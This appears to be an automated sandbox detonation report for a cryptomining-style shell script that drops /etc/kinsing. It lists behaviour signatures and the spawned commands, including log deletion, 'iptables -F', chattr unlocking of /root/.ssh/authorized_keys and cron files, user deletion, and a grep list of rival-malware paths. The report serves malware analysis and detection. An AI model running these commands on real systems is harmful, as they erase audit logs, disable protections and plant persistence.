[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/237]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

Network

N/A

Files

/tmp/log_rot

MD5 727479ef7cedf30c03459bec7d87b0f0
SHA1 2082e7f715f058acab2398d25d135cf5f4c0ce41
SHA256 29872037c9573567744ef10ed2de57864ded7554c9fa2ef03fc1244c65794ba6
SHA512 4cb59d37f8481f9bb2745f494baa0910a68aad40ac2903ef1513547e091e1e772a5f9436f789ab91fcafb75b8a28c2112ede89004be41f33c01d936b542ca6ba

Analysis: behavioral27

Detonation Overview

Submitted

2024-12-06 14:06

Reported

2024-12-06 14:09

Platform

debian9-mipsbe-20240418-en

Max time kernel

129s

Max time network

125s

Command Line

[/tmp/script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh]

Signatures

File and Directory Permissions Modification

defense_evasion
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Executes dropped EXE

Description Indicator Process Target
N/A /etc/kinsing N/A N/A

Flushes firewall rules

defense_evasion
Description Indicator Process Target
N/A N/A /sbin/iptables N/A

Abuse Elevation Control Mechanism: Sudo and Sudo Caching

privilege_escalation defense_evasion
Description Indicator Process Target
N/A N/A /usr/bin/sudo N/A

Attempts to change immutable files

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A N/A N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A N/A N/A
N/A N/A /usr/bin/chattr N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /bin/grep N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A N/A N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /bin/sed N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A N/A N/A

Creates/modifies Cron job

execution persistence privilege_escalatio
Description Indicator Process Target
File opened for modification /var/spool/cron/crontabs/tmp.VVJxNM N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.VOH4HY N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.0amxs2 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.LGfBba N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.aChvCd N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.bw9yxr N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.YSYrxs N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.VbKZsZ N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.igRMHx N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.ENhUzG /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.dEbv1v /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.wgNHo1 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.jeWfH6 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.pWdZrr N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.6rIpFY N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.xqzt2b N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.m1WpFN N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.BlVUzp /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.SXi5Id N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.2CIfEw N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.qQx7yk N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.NT07Qv N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.lIXfb5 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.AhZpdN N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.7Lzx8j N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.9mog0z N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.s9pkqC N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.pgT4jg N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.uA5nXh N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.BoDHNc N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.NYqlEY /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.5AnlGP N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.hF9HUK N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.4nrvYc N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.YbzCJd /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.bj0pCq N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.Ccvs6o N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.oQLxL9 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.V8aJ86 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.AlKlbf N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.d6SKRQ N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.P3UWpI N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.me99E6 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.s2MXyD N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.U892dH N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.kBBaS9 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.RBeg68 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.N2P02B N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.pKYA9l N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.6ehRua N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.Og9RyW /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.Ee1bDk /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.nDJ96L N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.4cXQNb N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.UvYHYU N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.BdFQjf N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.YEwTNW N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.5X7FXJ /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.eU8lDk /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.IJF2BB N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.Y0ugwi N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.idiN2h N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.YuhTay /usr/bin/crontab N/A

Disables AppArmor

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Disables SELinux

defense_evasion
Description Indicator Process Target
N/A N/A N/A N/A

Enumerates running processes

Reads CPU attributes

discovery
Description Indicator Process Target
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A

Enumerates kernel/hardware configuration

discovery
Description Indicator Process Target
File opened for reading /sys/fs/kdbus/0-system/bus N/A N/A
File opened for reading /sys/fs/kdbus/0-system/bus N/A N/A
File opened for reading /sys/fs/kdbus/0-system/bus N/A N/A
File opened for reading /sys/fs/kdbus/0-system/bus N/A N/A
File opened for reading /sys/fs/kdbus/0-system/bus N/A N/A
File opened for reading /sys/fs/kdbus/0-system/bus N/A N/A
File opened for reading /sys/fs/kdbus/0-system/bus N/A N/A
File opened for reading /sys/fs/kdbus/0-system/bus N/A N/A
File opened for reading /sys/fs/kdbus/0-system/bus N/A N/A

Process Discovery

discovery
Description Indicator Process Target
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A

Reads runtime system information

discovery
Description Indicator Process Target
File opened for reading /proc/18/cmdline /bin/ps N/A
File opened for reading /proc/720/cmdline /bin/ps N/A
File opened for reading /proc/18/stat N/A N/A
File opened for reading /proc/tty/drivers N/A N/A
File opened for reading /proc/self/fd N/A N/A
File opened for reading /proc/filesystems N/A N/A
File opened for reading /proc/123/status N/A N/A
File opened for reading /proc/1/status /usr/bin/pkill N/A
File opened for reading /proc/229/cmdline N/A N/A
File opened for reading /proc/9/cmdline N/A N/A
File opened for reading /proc/19/cmdline /bin/ps N/A
File opened for reading /proc/21/stat N/A N/A
File opened for reading /proc/332/status N/A N/A
File opened for reading /proc/759/cmdline N/A N/A
File opened for reading /proc/13/cmdline /bin/ps N/A
File opened for reading /proc/332/cmdline N/A N/A
File opened for reading /proc/75/status N/A N/A
File opened for reading /proc/sys/kernel/osrelease N/A N/A
File opened for reading /proc/24/cmdline N/A N/A
File opened for reading /proc/359/stat N/A N/A
File opened for reading /proc/21/cmdline N/A N/A
File opened for reading /proc/16/cmdline /bin/ps N/A
File opened for reading /proc/705/status /bin/ps N/A
File opened for reading /proc/327/cmdline N/A N/A
File opened for reading /proc/698/cmdline N/A N/A
File opened for reading /proc/698/status N/A N/A
File opened for reading /proc/36/status /usr/bin/pkill N/A
File opened for reading /proc/705/status N/A N/A
File opened for reading /proc/359/stat N/A N/A
File opened for reading /proc/15/status /usr/bin/pkill N/A
File opened for reading /proc/757/cmdline /bin/ps N/A
File opened for reading /proc/327/stat N/A N/A
File opened for reading /proc/766/status N/A N/A
File opened for reading /proc/11/status N/A N/A
File opened for reading /proc/698/cmdline N/A N/A
File opened for reading /proc/705/cmdline /bin/ps N/A
File opened for reading /proc/756/cmdline /usr/bin/pkill N/A
File opened for reading /proc/756/cmdline N/A N/A
File opened for reading /proc/3/status /usr/bin/pkill N/A
File opened for reading /proc/701/status /usr/bin/pkill N/A
File opened for reading /proc/77/cmdline /bin/ps N/A
File opened for reading /proc/71/status N/A N/A
File opened for reading /proc/76/cmdline /bin/ps N/A
File opened for reading /proc/156/stat /bin/ps N/A
File opened for reading /proc/109/cmdline /bin/ps N/A
File opened for reading /proc/109/status N/A N/A
File opened for reading /proc/22/cmdline N/A N/A
File opened for reading /proc/330/stat N/A N/A
File opened for reading /proc/2480/cmdline N/A N/A
File opened for reading /proc/766/status N/A N/A
File opened for reading /proc/19/cmdline /usr/bin/pkill N/A
File opened for reading /proc/sys/kernel/osrelease N/A N/A
File opened for reading /proc/7/cmdline N/A N/A
File opened for reading /proc/671/status N/A N/A
File opened for reading /proc/7/cmdline /usr/bin/pkill N/A
File opened for reading /proc/332/status N/A N/A
File opened for reading /proc/tty/drivers N/A N/A
File opened for reading /proc/156/stat N/A N/A
File opened for reading /proc/5/cmdline N/A N/A
File opened for reading /proc/21/stat N/A N/A
File opened for reading /proc/16/cmdline N/A N/A
File opened for reading /proc/757/status N/A N/A
File opened for reading /proc/17/cmdline /bin/ps N/A
File opened for reading /proc/79/cmdline N/A N/A

System Network Configuration Discovery

discovery
Description Indicator Process Target
N/A N/A /tmp/script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh N/A
N/A N/A /bin/ls N/A
N/A N/A /bin/grep N/A
N/A N/A /bin/grep N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Writes file to tmp directory

Description Indicator Process Target
File opened for modification /tmp/log_rot /tmp/script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh N/A

Processes

/tmp/script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh

[/tmp/script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh]

/bin/rm

[rm -rf /var/log/syslog]

/usr/bin/chattr

[chattr -iua /tmp/]

/usr/bin/chattr

[chattr -iua /var/tmp/]

/usr/bin/chattr

[chattr -R -i /var/spool/cron]

/usr/bin/chattr

[chattr -i /etc/crontab]

/sbin/iptables

[iptables -F]

/usr/bin/sudo

[sudo sysctl kernel.nmi_watchdog=0]

/usr/sbin/sendmail

[sendmail -t]

/usr/sbin/sendmail

[sendmail -t]

/sbin/sysctl

[sysctl kernel.nmi_watchdog=0]

/usr/sbin/userdel

[userdel akay]

/usr/sbin/userdel

[userdel vfinder]

/usr/sbin/exim4

[/usr/sbin/exim4 -Mc 1tJY2S-0000Cb-AR]

/usr/sbin/exim4

[/usr/sbin/exim4 -Mc 1tJY2S-0000CY-CA]

/usr/bin/chattr

[chattr -iae /root/.ssh/]

/usr/bin/chattr

[chattr -iae /root/.ssh/authorized_keys]

/bin/rm

[rm -rf /tmp/addres*]

/bin/rm

[rm -rf /tmp/walle*]

/bin/rm

[rm -rf /tmp/keys]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/10]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/109]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/11]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/12]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/123]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/124]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/13]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/14]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/15]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/153]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/156]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

